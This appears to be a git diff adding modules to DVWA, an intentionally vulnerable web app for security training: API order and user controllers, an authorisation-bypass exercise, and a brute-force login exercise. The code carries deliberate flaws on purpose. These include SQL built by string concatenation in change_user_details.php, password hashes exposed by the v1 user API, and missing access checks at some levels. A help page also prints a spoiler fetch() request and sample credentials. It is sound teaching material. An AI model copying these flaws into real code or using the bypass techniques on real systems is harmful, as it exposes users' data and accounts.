GenericController("notFound"); + $gc->processRequest(); + exit(); + }; + break; + case 'OPTIONS': + $gc = new GenericController("options"); + $gc->processRequest(); + break; + default: + $gc = new GenericController("notSupported"); + $gc->processRequest(); + break; + } + header($response['status_code_header']); + if ($response['body']) { + echo $response['body']; + } + } +} + +#[OAT\Schema(required: ['username', 'password'])] +final class Credentials { + #[OAT\Property(example: "user")] + public string $username; + #[OAT\Property(example: "password")] + public string $password; +} + +/* +Moving this to its own thing +#[OAT\Schema(required: ['token'])] +final class Token { + #[OAT\Property(example: "11111")] + public string $token; +} +*/ diff --git a/DVWA/vulnerabilities/api/src/Order.php b/DVWA/vulnerabilities/api/src/Order.php new file mode 100644 index 00000000..6f96042c --- /dev/null +++ b/DVWA/vulnerabilities/api/src/Order.php @@ -0,0 +1,80 @@ +id = $id; + $this->name = $name; + $this->address = $address; + $this->items = $items; + $this->status = $status; + } + + public function toArray($version) { + $a = array ( + "id" => $this->id, + "name" => $this->name, + "address" => $this->address, + "items" => $this->items, + "status" => $this->status, + ); + + return $a; + } +} + +#[OAT\Schema(required: ['level', 'name'])] +final class OrderAdd +{ + #[OAT\Property(example: "fred")] + public string $name; + + #[OAT\Property(example: "1 High Street, Atown")] + public string $address; + + #[OAT\Property(example: "2 * brushes")] + public string $items; +} + +#[OAT\Schema()] +final class OrderUpdate +{ + #[OAT\Property(example: "fred")] + public string $name; + + #[OAT\Property(example: "1 High Street, Atown")] + public string $address; + + #[OAT\Property(example: "2 * brushes")] + public string $items; +} diff --git a/DVWA/vulnerabilities/api/src/OrderController.php b/DVWA/vulnerabilities/api/src/OrderController.php new file mode 100644 index 00000000..eebe58cd --- /dev/null +++ b/DVWA/vulnerabilities/api/src/OrderController.php @@ -0,0 +1,337 @@ +data = array ( + 1 => new Order (1, "Tony", "BBC Television Centre, London W3 6XZ", "5 * brushes", 0), + 2 => new Order (2, "Morph", "Wooden Box, Corner of the table, The Studio", "plasticine", 0), + 3 => new Order (3, "Nailbrush", "BBC Television Centre, London W3 6XZ", "Spare bristles", 1), + ); + $this->requestMethod = $requestMethod; + $this->orderId = $orderId; + $this->version = $version; + } + + private function checkToken() { + if (array_key_exists ("HTTP_AUTHORIZATION", $_SERVER)) { + $header = $_SERVER['HTTP_AUTHORIZATION']; + $bits = explode (" ", $header); + if (count ($bits) == 2) { + if (strtolower($bits[0]) == "bearer") { + return (Login::check_access_token($bits[1])); + } + } + } + + return false; + } + + private function validateAdd($input) + { + if (! isset($input['name'])) { + return false; + } + if (! isset($input['address'])) { + return false; + } + if (! isset($input['items'])) { + return false; + } + return true; + } + + private function validateUpdate($input) + { + if (isset($input['name']) || isset($input['address']) || isset ($input['items'])) { + return true; + } + return false; + } + + /* + type can be "http", "apiKey", "oauth2", "openIdConnect" + * https://zircote.github.io/swagger-php/guide/cookbook.html#referencing-a-security-scheme + */ + + #[OAT\SecurityScheme( + name :"authorization", + securityScheme :"http", + type :"http", + ) + ] + + #[OAT\Get( + tags: ["order"], + path: '/vulnerabilities/api/v2/order/{id}', + operationId: 'getOrderByID', + description: 'Get a order by ID.', + security: [ "basicAuth" ], + parameters: [ + new OAT\Parameter(name: 'id', in: 'path', required: true, schema: new OAT\Schema(type: 'integer')), + ], + responses: [ + new OAT\Response( + response: 200, + description: 'Successful operation.', + content: new OAT\JsonContent (ref: '#/components/schemas/Order'), + + ), + new OAT\Response( + response: 404, + description: 'Order not found.', + ), + ] + ) + ] + + private function getOrder($id) + { + if (!$this->checkToken()) { + $response['status_code_header'] = 'HTTP/1.1 401 Unauthorized'; + $response['body'] = json_encode (array ("status" => "Invalid or missing token")); + return $response; + } + + if (!array_key_exists ($id, $this->data)) { + $gc = new GenericController("notFound"); + $gc->processRequest(); + exit(); + } + $response['status_code_header'] = 'HTTP/1.1 200 OK'; + $response['body'] = json_encode ($this->data[$id]->toArray($this->version)); + return $response; + } + + #[OAT\Get( + tags: ["order"], + path: '/vulnerabilities/api/v2/order/', + operationId: 'getOrders', + description: 'Get all orders.', + responses: [ + new OAT\Response( + response: 200, + description: 'Successful operation.', + content: new OAT\JsonContent( + type: 'array', + items: new OAT\Items(ref: '#/components/schemas/Order') + ) + ), + ] + ) + ] + + private function getAllOrders() { + if (!$this->checkToken()) { + $response['status_code_header'] = 'HTTP/1.1 401 Unauthorized'; + $response['body'] = json_encode (array ("status" => "Invalid or missing token")); + return $response; + } + + $response['status_code_header'] = 'HTTP/1.1 200 OK'; + $all = array(); + foreach ($this->data as $order) { + $all[] = $order->toArray($this->version); + } + $response['body'] = json_encode($all); + return $response; + } + + #[OAT\Post( + tags: ["order"], + path: '/vulnerabilities/api/v2/order/', + operationId: 'addOrder', + description: 'Create a new order.', + parameters: [ + new OAT\RequestBody ( + description: 'Order data.', + content: new OAT\MediaType( + mediaType: 'application/json', + schema: new OAT\Schema(ref: OrderAdd::class) + ) + ), + + ], + responses: [ + new OAT\Response( + response: 200, + description: 'Successful operation.', + content: new OAT\JsonContent (ref: '#/components/schemas/Order'), + ), + new OAT\Response( + response: 422, + description: 'Invalid order object provided', + ), + ] + ) + ] + + private function addOrder() + { + if (!$this->checkToken()) { + $response['status_code_header'] = 'HTTP/1.1 401 Unauthorized'; + $response['body'] = json_encode (array ("status" => "Invalid or missing token")); + return $response; + } + + $input = (array) json_decode(file_get_contents('php://input'), TRUE); + if (! $this->validateAdd($input)) { + $gc = new GenericController("unprocessable"); + $gc->processRequest(); + exit(); + } + $order = new Order(null, $input['name'], $input['address'], $input['items'], 0); + $this->data[] = $order; + $response['status_code_header'] = 'HTTP/1.1 201 Created'; + $response['body'] = json_encode($order->toArray($this->version)); + return $response; + } + + #[OAT\Put( + tags: ["order"], + path: '/vulnerabilities/api/v2/order/{id}', + operationId: 'updateOrder', + description: 'Update an order by ID.', + parameters: [ + new OAT\Parameter(name: 'id', in: 'path', required: true, schema: new OAT\Schema(type: 'integer')), + new OAT\RequestBody ( + description: 'New order data.', + content: new OAT\MediaType( + mediaType: 'application/json', + schema: new OAT\Schema(ref: OrderUpdate::class) + ) + ), + + ], + responses: [ + new OAT\Response( + response: 200, + description: 'Successful operation.', + content: new OAT\JsonContent (ref: '#/components/schemas/Order'), + ), + new OAT\Response( + response: 404, + description: 'Order not found', + ), + new OAT\Response( + response: 422, + description: 'Invalid order object provided', + ), + ] + ) + ] + + private function updateOrder($id) + { + if (!$this->checkToken()) { + $response['status_code_header'] = 'HTTP/1.1 401 Unauthorized'; + $response['body'] = json_encode (array ("status" => "Invalid or missing token")); + return $response; + } + + if (!array_key_exists ($id, $this->data)) { + $gc = new GenericController("notFound"); + $gc->processRequest(); + exit(); + } + $input = (array) json_decode(file_get_contents('php://input'), TRUE); + if (! $this->validateUpdate($input)) { + $gc = new GenericController("unprocessable"); + $gc->processRequest(); + exit(); + } + if (array_key_exists ("name", $input)) { + $this->data[$id]->name = $input['name']; + } + if (array_key_exists ("address", $input)) { + $this->data[$id]->address = $input['address']; + } + if (array_key_exists ("items", $input)) { + $this->data[$id]->items = $input['items']; + } + $response['status_code_header'] = 'HTTP/1.1 200 OK'; + $response['body'] = json_encode ($this->data[$id]->toArray($this->version)); + return $response; + } + + #[OAT\Delete( + tags: ["order"], + path: '/vulnerabilities/api/v2/order/{id}', + operationId: 'deleteOrderById', + description: 'Delete order by ID.', + parameters: [ + new OAT\Parameter(name: 'id', in: 'path', required: true, schema: new OAT\Schema(type: 'integer')), + ], + responses: [ + new OAT\Response( + response: 200, + description: 'Successful operation.', + ), + new OAT\Response( + response: 404, + description: 'Order not found', + ), + ] + ) + ] + + private function deleteOrder($id) { + if (!$this->checkToken()) { + $response['status_code_header'] = 'HTTP/1.1 401 Unauthorized'; + $response['body'] = json_encode (array ("status" => "Invalid or missing token")); + return $response; + } + + if (!array_key_exists ($id, $this->data)) { + $gc = new GenericController("notFound"); + $gc->processRequest(); + exit(); + } + unset ($this->data[$id]); + $response['status_code_header'] = 'HTTP/1.1 200 OK'; + $response['body'] = null; + return $response; + } + + public function processRequest() { + switch ($this->requestMethod) { + case 'GET': + if (isset ($this->orderId) && is_numeric ($this->orderId)) { + $response = $this->getOrder($this->orderId); + } else { + $response = $this->getAllOrders(); + }; + break; + case 'POST': + $response = $this->addOrder(); + break; + case 'PUT': + $response = $this->updateOrder($this->orderId); + break; + case 'DELETE': + $response = $this->deleteOrder($this->orderId); + break; + case 'OPTIONS': + $gc = new GenericController("options"); + $gc->processRequest(); + break; + default: + $gc = new GenericController("notSupported"); + $gc->processRequest(); + exit(); + break; + } + header($response['status_code_header']); + if ($response['body']) { + echo $response['body']; + } + } +} diff --git a/DVWA/vulnerabilities/api/src/Token.php b/DVWA/vulnerabilities/api/src/Token.php new file mode 100644 index 00000000..e9a2bd9f --- /dev/null +++ b/DVWA/vulnerabilities/api/src/Token.php @@ -0,0 +1,62 @@ + $secret, + "expires" => $expires, + ))); + return $token; + } + + public function decrypt_token($token) { + $decrypted = self::decrypt($token); + + if ($decrypted === false) { + return false; + } + + $token = json_decode ($decrypted, true); + return $token; + } +} + +?> diff --git a/DVWA/vulnerabilities/api/src/User.php b/DVWA/vulnerabilities/api/src/User.php new file mode 100644 index 00000000..76560cba --- /dev/null +++ b/DVWA/vulnerabilities/api/src/User.php @@ -0,0 +1,77 @@ +id = $id; + $this->name = $name; + $this->level = $level; + $this->password = $password; + } + + public function toArray($version) { + switch ($version) { + case 1: + $a = array ( + "id" => $this->id, + "name" => $this->name, + "level" => $this->level, + "password" => $this->password, + ); + break; + default: + case 2: + $a = array ( + "id" => $this->id, + "name" => $this->name, + "level" => $this->level, + ); + break; + } + + return $a; + } +} + +#[OAT\Schema(required: ['level', 'name'])] +final class UserAdd +{ + #[OAT\Property(example: "fred")] + public string $name; + + #[OAT\Property(type: 'integer', example: 1)] + public string $level; +} + +#[OAT\Schema(required: ['name'])] +final class UserUpdate +{ + #[OAT\Property(example: "fred")] + public string $name; +} diff --git a/DVWA/vulnerabilities/api/src/UserController.php b/DVWA/vulnerabilities/api/src/UserController.php new file mode 100644 index 00000000..b39e968a --- /dev/null +++ b/DVWA/vulnerabilities/api/src/UserController.php @@ -0,0 +1,298 @@ +data = array ( + 1 => new User (1, "tony", 0, '1c8bfe8f801d79745c4631d09fff36c82aa37fc4cce4fc946683d7b336b63032'), + 2 => new User (2, "morph", 1, 'e5326ba4359f77c2623244acb04f6ac35c4dfca330ebcccdf9b734e5b1df90a8'), + 3 => new User (3, "chas", 1, 'a89237fc1f9dd8d424d8b8b98b890dbc4a817bfde59af17c39debcc4a14c21de'), + ); + $this->requestMethod = $requestMethod; + $this->userId = $userId; + $this->version = $version; + } + + private function validateAdd($input) + { + if (! isset($input['name'])) { + return false; + } + if (! isset($input['level'])) { + return false; + } + if (!is_numeric ($input['level'])) { + return false; + } + return true; + } + + private function validateUpdate($input) + { + if (! isset($input['name'])) { + return false; + } + return true; + } + + #[OAT\Get( + tags: ["user"], + path: '/vulnerabilities/api/v2/user/{id}', + operationId: 'getUserByID', + description: 'Get a user by ID.', + parameters: [ + new OAT\Parameter(name: 'id', in: 'path', required: true, schema: new OAT\Schema(type: 'integer')), + ], + responses: [ + new OAT\Response( + response: 200, + description: 'Successful operation.', + content: new OAT\JsonContent (ref: '#/components/schemas/User'), + + ), + new OAT\Response( + response: 404, + description: 'User not found.', + ), + ] + ) + ] + + private function getUser($id) + { + if (!array_key_exists ($id, $this->data)) { + $gc = new GenericController("notFound"); + $gc->processRequest(); + exit(); + } + $response['status_code_header'] = 'HTTP/1.1 200 OK'; + $response['body'] = json_encode ($this->data[$id]->toArray($this->version)); + return $response; + } + + #[OAT\Get( + tags: ["user"], + path: '/vulnerabilities/api/v2/user/', + operationId: 'getUsers', + description: 'Get all users.', + responses: [ + new OAT\Response( + response: 200, + description: 'Successful operation.', + content: new OAT\JsonContent( + type: 'array', + items: new OAT\Items(ref: '#/components/schemas/User') + ) + ), + ] + ) + ] + + private function getAllUsers() { + $response['status_code_header'] = 'HTTP/1.1 200 OK'; + $all = array(); + foreach ($this->data as $user) { + $all[] = $user->toArray($this->version); + } + $response['body'] = json_encode($all); + return $response; + } + + #[OAT\Post( + tags: ["user"], + path: '/vulnerabilities/api/v2/user/', + operationId: 'addUser', + description: 'Create a new user.', + parameters: [ + new OAT\RequestBody ( + description: 'User data.', + content: new OAT\MediaType( + mediaType: 'application/json', + schema: new OAT\Schema(ref: UserAdd::class) + ) + ), + + ], + responses: [ + new OAT\Response( + response: 200, + description: 'Successful operation.', + content: new OAT\JsonContent (ref: '#/components/schemas/User'), + ), + new OAT\Response( + response: 422, + description: 'Invalid user object provided', + ), + ] + ) + ] + + private function addUser() + { + $ret = Helpers::check_content_type(); + if ($ret !== true) { + return $ret; + } + + $input = (array) json_decode(file_get_contents('php://input'), TRUE); + if (! $this->validateAdd($input)) { + $gc = new GenericController("unprocessable"); + $gc->processRequest(); + exit(); + } + $user = new User(null, $input['name'], intval ($input['level']), hash ("sha256", "password")); + $this->data[] = $user; + $response['status_code_header'] = 'HTTP/1.1 201 Created'; + $response['body'] = json_encode($user->toArray($this->version)); + return $response; + } + + #[OAT\Put( + tags: ["user"], + path: '/vulnerabilities/api/v2/user/{id}', + operationId: 'updateUser', + description: 'Update a user by ID.', + parameters: [ + new OAT\Parameter(name: 'id', in: 'path', required: true, schema: new OAT\Schema(type: 'integer')), + new OAT\RequestBody ( + description: 'New user data.', + content: new OAT\MediaType( + mediaType: 'application/json', + schema: new OAT\Schema(ref: UserUpdate::class) + ) + ), + + ], + responses: [ + new OAT\Response( + response: 200, + description: 'Successful operation.', + content: new OAT\JsonContent (ref: '#/components/schemas/User'), + ), + new OAT\Response( + response: 404, + description: 'User not found', + ), + new OAT\Response( + response: 422, + description: 'Invalid user object provided', + ), + ] + ) + ] + + private function updateUser($id) + { + if (!array_key_exists ($id, $this->data)) { + $gc = new GenericController("notFound"); + $gc->processRequest(); + exit(); + } + $input = (array) json_decode(file_get_contents('php://input'), TRUE); + if (! $this->validateUpdate($input)) { + $gc = new GenericController("unprocessable"); + $gc->processRequest(); + exit(); + } + if (array_key_exists ("name", $input)) { + $this->data[$id]->name = $input['name']; + } + if (array_key_exists ("level", $input)) { + $this->data[$id]->level = intval ($input['level']); + } + $response['status_code_header'] = 'HTTP/1.1 200 OK'; + $response['body'] = json_encode ($this->data[$id]->toArray($this->version)); + return $response; + } + + #[OAT\Delete( + tags: ["user"], + path: '/vulnerabilities/api/v2/user/{id}', + operationId: 'deleteUserById', + description: 'Delete user by ID.', + parameters: [ + new OAT\Parameter(name: 'id', in: 'path', required: true, schema: new OAT\Schema(type: 'integer')), + ], + responses: [ + new OAT\Response( + response: 200, + description: 'Successful operation.', + ), + new OAT\Response( + response: 404, + description: 'User not found', + ), + ] + ) + ] + + private function deleteUser($id) { + if (!array_key_exists ($id, $this->data)) { + $gc = new GenericController("notFound"); + $gc->processRequest(); + exit(); + } + unset ($this->data[$id]); + $response['status_code_header'] = 'HTTP/1.1 200 OK'; + $response['body'] = null; + return $response; + } + + public function processRequest() { + switch ($this->requestMethod) { + case 'GET': + if ($this->userId) { + $response = $this->getUser($this->userId); + } else { + $response = $this->getAllUsers(); + }; + break; + case 'POST': + $response = $this->addUser(); + break; + case 'PUT': + $response = $this->updateUser($this->userId); + break; + case 'DELETE': + $response = $this->deleteUser($this->userId); + break; + case 'OPTIONS': + $gc = new GenericController("options"); + $gc->processRequest(); + break; + default: + $gc = new GenericController("notSupported"); + $gc->processRequest(); + exit(); + break; + } + header($response['status_code_header']); + if ($response['body']) { + echo $response['body']; + } + } +} diff --git a/DVWA/vulnerabilities/authbypass/authbypass.js b/DVWA/vulnerabilities/authbypass/authbypass.js new file mode 100644 index 00000000..12b35556 --- /dev/null +++ b/DVWA/vulnerabilities/authbypass/authbypass.js @@ -0,0 +1,53 @@ +function show_save_result (data) { + if (data.result == 'ok') { + document.getElementById('save_result').innerText = 'Save Successful'; + } else { + document.getElementById('save_result').innerText = 'Save Failed'; + } +} + +function submit_change(id) { + first_name = document.getElementById('first_name_' + id).value + surname = document.getElementById('surname_' + id).value + + fetch('change_user_details.php', { + method: 'POST', + headers: { + 'Accept': 'application/json', + 'Content-Type': 'application/json' + }, + body: JSON.stringify({ 'id': id, 'first_name': first_name, 'surname': surname }) + } + ) + .then((response) => response.json()) + .then((data) => show_save_result(data)); +} + +function populate_form() { + var xhr= new XMLHttpRequest(); + xhr.open('GET', 'get_user_data.php', true); + xhr.onreadystatechange= function() { + if (this.readyState!==4) { + return; + } + if (this.status!==200) { + return; + } + const users = JSON.parse (this.responseText); + table_body = document.getElementById('user_table').getElementsByTagName('tbody')[0]; + users.forEach(updateTable); + + function updateTable (user) { + var row = table_body.insertRow(0); + var cell0 = row.insertCell(-1); + cell0.innerHTML = user['user_id'] + ''; + var cell1 = row.insertCell(1); + cell1.innerHTML = ''; + var cell2 = row.insertCell(2); + cell2.innerHTML = ''; + var cell3 = row.insertCell(3); + cell3.innerHTML = ''; + } + }; + xhr.send(); +} diff --git a/DVWA/vulnerabilities/authbypass/change_user_details.php b/DVWA/vulnerabilities/authbypass/change_user_details.php new file mode 100644 index 00000000..da54d595 --- /dev/null +++ b/DVWA/vulnerabilities/authbypass/change_user_details.php @@ -0,0 +1,52 @@ + "fail", "error" => "Access denied")); + exit; +} + +if ($_SERVER['REQUEST_METHOD'] != "POST") { + $result = array ( + "result" => "fail", + "error" => "Only POST requests are accepted" + ); + echo json_encode($result); + exit; +} + +try { + $json = file_get_contents('php://input'); + $data = json_decode($json); + if (is_null ($data)) { + $result = array ( + "result" => "fail", + "error" => 'Invalid format, expecting "{id: {user ID}, first_name: "{first name}", surname: "{surname}"}' + + ); + echo json_encode($result); + exit; + } +} catch (Exception $e) { + $result = array ( + "result" => "fail", + "error" => 'Invalid format, expecting \"{id: {user ID}, first_name: "{first name}", surname: "{surname}\"}' + + ); + echo json_encode($result); + exit; +} + +$query = "UPDATE users SET first_name = '" . $data->first_name . "', last_name = '" . $data->surname . "' where user_id = " . $data->id . ""; +$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '
    ' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
    ' ); + +print json_encode (array ("result" => "ok")); +exit; +?> diff --git a/DVWA/vulnerabilities/authbypass/get_user_data.php b/DVWA/vulnerabilities/authbypass/get_user_data.php new file mode 100644 index 00000000..f2eb7c2f --- /dev/null +++ b/DVWA/vulnerabilities/authbypass/get_user_data.php @@ -0,0 +1,42 @@ + "fail", "error" => "Access denied")); + exit; +} + +$query = "SELECT user_id, first_name, last_name FROM users"; +$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ); + +$guestbook = ''; +$users = array(); + +while ($row = mysqli_fetch_row($result) ) { + if( dvwaSecurityLevelGet() == 'impossible' ) { + $user_id = $row[0]; + $first_name = htmlspecialchars( $row[1] ); + $surname = htmlspecialchars( $row[2] ); + } else { + $user_id = $row[0]; + $first_name = $row[1]; + $surname = $row[2]; + } + + $user = array ( + "user_id" => $user_id, + "first_name" => $first_name, + "surname" => $surname + ); + $users[] = $user; +} + +print json_encode ($users); +exit; +?> diff --git a/DVWA/vulnerabilities/authbypass/help/help.php b/DVWA/vulnerabilities/authbypass/help/help.php new file mode 100644 index 00000000..61a64115 --- /dev/null +++ b/DVWA/vulnerabilities/authbypass/help/help.php @@ -0,0 +1,82 @@ +
    +

    Help - Authorisation Bypass

    + +
    + + + + +
    +

    About

    +

    + When developers have to build authorisation matrices into complex systems it is easy for them to miss adding the right checks in every place, especially those + which are not directly accessible through a browser, for example API calls. +

    + +

    + As a tester, you need to be looking at every call a system makes and then testing it using every level of user to ensure that the checks are being carried out correctly. + This can often be a long and boring task, especially with a large matrix with lots of different user types, but it is critical that the testing is carried out as one missed + check could lead to an attacker gaining access to confidential data or functions. +

    + +


    + +

    Objective

    +

    Your goal is to test this user management system at all four security levels to identify any areas where authorisation checks have been missed.

    +

    The system is only designed to be accessed by the admin user, so have a look at all the calls made while logged in as the admin, and then try to reproduce them while logged in as different user.

    +

    If you need a second user, you can use gordonb / abc123. + +



    + +

    Low Level

    +

    Non-admin users do not have the 'Authorisation Bypass' menu option.

    +

    Spoiler: Try browsing directly to /vulnerabilities/authbypass/.

    + + +
    + +

    Medium Level

    +

    The developer has locked down access to the HTML for the page, but have a look how the page is populated when logged in as the admin.

    +

    Spoiler: Try browsing directly to /vulnerabilities/authbypass/get_user_data.php to access the API which returns the user data for the page.

    + +
    + +

    High Level

    +

    Both the HTML page and the API to retrieve data have been locked down, but what about updating data? You have to make sure you test every call to the site.

    +

    Spoiler: GET calls to retrieve data have been locked down but the POST to update the data has been missed, can you figure out how to call it?

    + +

    Spoiler: This is one way to do it:

    + +
    fetch('change_user_details.php', {
    +method: 'POST',
    +headers: {
    +'Accept': 'application/json',
    +'Content-Type': 'application/json'
    +},
    +body: JSON.stringify({ 'id':1, "first_name": "Harry", "surname": "Hacker" })
    +}
    +)
    +.then((response) => response.json())
    +.then((data) => console.log(data));
    +
    + +
    + +

    Impossible Level

    +

    + Hopefully on this level all the functions correctly check authorisation before allowing access to the data. +

    +

    + There may however be some non-authorisation related issues on the page, so do not write it off as fully secure. +

    +
    + +
    + +
    + +

    Reference:

    +

    Reference:

    +

    Reference:

    + +
    diff --git a/DVWA/vulnerabilities/authbypass/index.php b/DVWA/vulnerabilities/authbypass/index.php new file mode 100644 index 00000000..2561e885 --- /dev/null +++ b/DVWA/vulnerabilities/authbypass/index.php @@ -0,0 +1,77 @@ + +

    Vulnerability: Authorisation Bypass

    + +

    This page should only be accessible by the admin user. Your challenge is to gain access to the features using one of the other users, for example gordonb / abc123.

    + +
    +
    +
    +

    + Welcome to the user manager, please enjoy updating your user\'s details. +

    + '; + +$page[ 'body' ] .= " + + + + + + + + + + + +
    IDFirst NameSurnameUpdate
    + + +"; + +$page[ 'body' ] .= ' + ' . + $html + . ' +
    +'; + +dvwaHtmlEcho( $page ); + +?> diff --git a/DVWA/vulnerabilities/authbypass/source/high.php b/DVWA/vulnerabilities/authbypass/source/high.php new file mode 100644 index 00000000..9517d944 --- /dev/null +++ b/DVWA/vulnerabilities/authbypass/source/high.php @@ -0,0 +1,17 @@ + diff --git a/DVWA/vulnerabilities/authbypass/source/impossible.php b/DVWA/vulnerabilities/authbypass/source/impossible.php new file mode 100644 index 00000000..70ba2e02 --- /dev/null +++ b/DVWA/vulnerabilities/authbypass/source/impossible.php @@ -0,0 +1,13 @@ + diff --git a/DVWA/vulnerabilities/authbypass/source/low.php b/DVWA/vulnerabilities/authbypass/source/low.php new file mode 100644 index 00000000..34a169b8 --- /dev/null +++ b/DVWA/vulnerabilities/authbypass/source/low.php @@ -0,0 +1,11 @@ + diff --git a/DVWA/vulnerabilities/authbypass/source/medium.php b/DVWA/vulnerabilities/authbypass/source/medium.php new file mode 100644 index 00000000..3e1b126e --- /dev/null +++ b/DVWA/vulnerabilities/authbypass/source/medium.php @@ -0,0 +1,18 @@ + diff --git a/DVWA/vulnerabilities/brute/help/help.php b/DVWA/vulnerabilities/brute/help/help.php new file mode 100644 index 00000000..69b1ae95 --- /dev/null +++ b/DVWA/vulnerabilities/brute/help/help.php @@ -0,0 +1,69 @@ +
    +

    Help - Brute Force (Login)

    + +
    + + + + +
    +

    About

    +

    Password cracking is the process of recovering passwords from data that has been stored in or transmitted by a computer system. + A common approach is to repeatedly try guesses for the password.

    + +

    Users often choose weak passwords. Examples of insecure choices include single words found in dictionaries, family names, any too short password + (usually thought to be less than 6 or 7 characters), or predictable patterns + (e.g. alternating vowels and consonants, which is known as leetspeak, so "password" becomes "p@55w0rd").

    + +

    Creating a targeted wordlists, which is generated towards the target, often gives the highest success rate. There are public tools out there that will create a dictionary + based on a combination of company websites, personal social networks and other common information (such as birthdays or year of graduation). + +

    A last resort is to try every possible password, known as a brute force attack. In theory, if there is no limit to the number of attempts, a brute force attack will always + be successful since the rules for acceptable passwords must be publicly known; but as the length of the password increases, so does the number of possible passwords + making the attack time longer.

    + +


    + +

    Objective

    +

    Your goal is to get the administrator’s password by brute forcing. Bonus points for getting the other four user passwords!

    + +


    + +

    Low Level

    +

    The developer has completely missed out any protections methods, allowing for anyone to try as many times as they wish, to login to any user without any repercussions.

    + +
    + +

    Medium Level

    +

    This stage adds a sleep on the failed login screen. This mean when you login incorrectly, there will be an extra two second wait before the page is visible.

    + +

    This will only slow down the amount of requests which can be processed a minute, making it longer to brute force.

    + +
    + +

    High Level

    +

    There has been an "anti Cross-Site Request Forgery (CSRF) token" used. There is a old myth that this protection will stop brute force attacks. This is not the case. + This level also extends on the medium level, by waiting when there is a failed login but this time it is a random amount of time between two and four seconds. + The idea of this is to try and confuse any timing predictions.

    + +

    Using a form could have a similar effect as a CSRF token.

    + +
    + +

    Impossible Level

    +

    Brute force (and user enumeration) should not be possible in the impossible level. The developer has added a "lock out" feature, where if there are five bad logins within + the last 15 minutes, the locked out user cannot log in.

    + +

    If the locked out user tries to login, even with a valid password, it will say their username or password is incorrect. This will make it impossible to know + if there is a valid account on the system, with that password, and if the account is locked.

    + +

    This can cause a "Denial of Service" (DoS), by having someone continually trying to login to someone's account. + This level would need to be extended by blacklisting the attacker (e.g. IP address, country, user-agent).

    +
    + +
    + +
    + +

    Reference:

    +
    diff --git a/DVWA/vulnerabilities/brute/index.php b/DVWA/vulnerabilities/brute/index.php new file mode 100644 index 00000000..71d57afe --- /dev/null +++ b/DVWA/vulnerabilities/brute/index.php @@ -0,0 +1,68 @@ + +

    Vulnerability: Brute Force

    + +
    +

    Login

    + +
    + Username:
    +
    + Password:
    +
    +
    + \n"; + +if( $vulnerabilityFile == 'high.php' || $vulnerabilityFile == 'impossible.php' ) + $page[ 'body' ] .= " " . tokenField(); + +$page[ 'body' ] .= " +
    + {$html} +
    + +

    More Information

    +
      +
    • " . dvwaExternalLinkUrlGet( 'https://owasp.org/www-community/attacks/Brute_force_attack' ) . "
    • +
    • " . dvwaExternalLinkUrlGet( 'https://www.symantec.com/connect/articles/password-crackers-ensuring-security-your-password' ) . "
    • +
    • " . dvwaExternalLinkUrlGet( 'https://www.golinuxcloud.com/brute-force-attack-web-forms' ) . "
    • +
    +\n"; + +dvwaHtmlEcho( $page ); + +?> diff --git a/DVWA/vulnerabilities/brute/source/high.php b/DVWA/vulnerabilities/brute/source/high.php new file mode 100644 index 00000000..6eed8d71 --- /dev/null +++ b/DVWA/vulnerabilities/brute/source/high.php @@ -0,0 +1,43 @@ +' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '' ); + + if( $result && mysqli_num_rows( $result ) == 1 ) { + // Get users details + $row = mysqli_fetch_assoc( $result ); + $avatar = $row["avatar"]; + + // Login successful + $html .= "

    Welcome to the password protected area {$user}

    "; + $html .= ""; + } + else { + // Login failed + sleep( rand( 0, 3 ) ); + $html .= "

    Username and/or password incorrect.
    "; + } + + ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); +} + +// Generate Anti-CSRF token +generateSessionToken(); + +?> diff --git a/DVWA/vulnerabilities/brute/source/impossible.php b/DVWA/vulnerabilities/brute/source/impossible.php new file mode 100644 index 00000000..4cf59258 --- /dev/null +++ b/DVWA/vulnerabilities/brute/source/impossible.php @@ -0,0 +1,102 @@ +prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' ); + $data->bindParam( ':user', $user, PDO::PARAM_STR ); + $data->execute(); + $row = $data->fetch(); + + // Check to see if the user has been locked out. + if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) ) { + // User locked out. Note, using this method would allow for user enumeration! + //$html .= "

    This account has been locked due to too many incorrect logins.
    "; + + // Calculate when the user would be allowed to login again + $last_login = strtotime( $row[ 'last_login' ] ); + $timeout = $last_login + ($lockout_time * 60); + $timenow = time(); + + /* + print "The last login was: " . date ("h:i:s", $last_login) . "
    "; + print "The timenow is: " . date ("h:i:s", $timenow) . "
    "; + print "The timeout is: " . date ("h:i:s", $timeout) . "
    "; + */ + + // Check to see if enough time has passed, if it hasn't locked the account + if( $timenow < $timeout ) { + $account_locked = true; + // print "The account is locked
    "; + } + } + + // Check the database (if username matches the password) + $data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' ); + $data->bindParam( ':user', $user, PDO::PARAM_STR); + $data->bindParam( ':password', $pass, PDO::PARAM_STR ); + $data->execute(); + $row = $data->fetch(); + + // If its a valid login... + if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) { + // Get users details + $avatar = $row[ 'avatar' ]; + $failed_login = $row[ 'failed_login' ]; + $last_login = $row[ 'last_login' ]; + + // Login successful + $html .= "

    Welcome to the password protected area {$user}

    "; + $html .= ""; + + // Had the account been locked out since last login? + if( $failed_login >= $total_failed_login ) { + $html .= "

    Warning: Someone might of been brute forcing your account.

    "; + $html .= "

    Number of login attempts: {$failed_login}.
    Last login attempt was at: {$last_login}.

    "; + } + + // Reset bad login count + $data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' ); + $data->bindParam( ':user', $user, PDO::PARAM_STR ); + $data->execute(); + } else { + // Login failed + sleep( rand( 2, 4 ) ); + + // Give the user some feedback + $html .= "

    Username and/or password incorrect.

    Alternative, the account has been locked because of too many failed logins.
    If this is the case, please try again in {$lockout_time} minutes.
